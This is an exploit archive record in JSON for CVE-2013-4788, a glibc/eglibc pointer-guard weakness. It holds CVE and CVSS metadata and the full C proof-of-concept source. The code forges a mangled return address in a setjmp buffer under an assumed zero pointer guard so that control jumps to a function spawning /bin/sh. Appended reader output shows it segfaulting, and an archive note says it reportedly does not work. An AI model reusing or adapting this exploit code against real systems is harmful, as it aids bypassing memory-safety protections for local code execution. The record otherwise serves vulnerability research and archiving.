{"exploit":{"id":"EDB-28657","name":"GNU glibc and eglibc 2.5/2.7/2.13 - Local Buffer Overflow","description":"GNU glibc and eglibc 2.5/2.7/2.13 - Local Buffer Overflow","cves":["CVE-2013-4788"],"author":"Hector Marco & Ismael Ripoll","published":"2013-09-30","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28657","path":"exploits/linux/local/28657.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28657.c","vulnerabilities":[{"id":"CVE-2013-4788","state":"PUBLISHED","title":null,"titleSource":null,"description":"The PTR_MANGLE implementation in the GNU C Library (aka glibc or libc6) 2.4, 2.17, and earlier, and Embedded GLIBC (EGLIBC) does not initialize the random value for the pointer guard, which makes it easier for context-dependent attackers to control execution flow by leveraging a buffer-overflow vulnerability in an application and using the known zero value pointer guard to calculate a pointer address.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-4788","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-4788"},"updatedAt":"2024-08-06T16:52:27.147Z","retrievedAt":"2026-11-26T23:06:43.492Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28657.png?v=2","url":"https://exploitbin.com/exploits/EDB-28657","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28657/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28657/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n *\n * Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry.\n *\n * $FILE: bug-mangle.c\n *\n * Comment: Proof of concept\n *\n * $VERSION$\n *\n * Author: Hector Marco <hecmargi@upv.es>\n *         Ismael Ripoll <iripoll@disca.upv.es>\n *\n * $LICENSE:\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n */\n\n#include <stdio.h>\n#include <setjmp.h>\n#include <stdint.h>\n#include <limits.h>\n\n#ifdef __i386__\n   #define ROTATE 0x9\n   #define PC_ENV_OFFSET 0x14\n#elif __x86_64__\n   #define ROTATE 0x11\n   #define PC_ENV_OFFSET 0x38\n#else\n   #error The exploit does not support this architecture\n#endif\n\nunsigned long rol(uintptr_t value) {\n   return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));\n}\n\nint hacked(){\n   printf(\"[+] hacked !!\\n\");\n   system(\"/bin/sh\");\n}\n\nint main(void){\n   jmp_buf env;\n   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);\n\n   printf(\"[+] Exploiting ...\\n\");\n   if(setjmp(env) == 1){\n      printf(\"[-] Exploit failed.\\n\");\n      return 0;\n   }\n\n   /*Overwrie env return address */\n   *ptr_ret_env = rol((uintptr_t)hacked);\n\n   longjmp(env, 1);\n\n   printf(\"[-] Exploit failed.\\n\");\n   return 0;\n}\n\n####################################################################################################################\n#\n# Reader submitted results\n/*\n\n[522] user@his-system ~ $ ./POC\n[+] Exploiting ...\nSegmentation fault\n[523] user@his-system ~ $ ldd POC\nlinux-vdso.so.1 => (0x00007fffab5fd000)\nlibc.so.6 => /lib64/libc.so.6 (0x0000003269800000)\n/lib64/ld-linux-x86-64.so.2 (0x0000003269400000)\n[525] user@his-system ~ $ uname -a\nLinux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux\n[526] user@his-system ~ $\n\n[526] user@his-system ~ $ grep vsys /proc/self/maps\nffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]\nffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]\n\n*/","sha256":"c13dedd48933bfbf7a6d6db4974da2726db8f9e4e2e9f695328c0fa837c96b41","bytes":2604,"fetchedAt":"2026-11-26T23:06:43.306Z","encoding":"utf-8 (display only; download retains original bytes)"}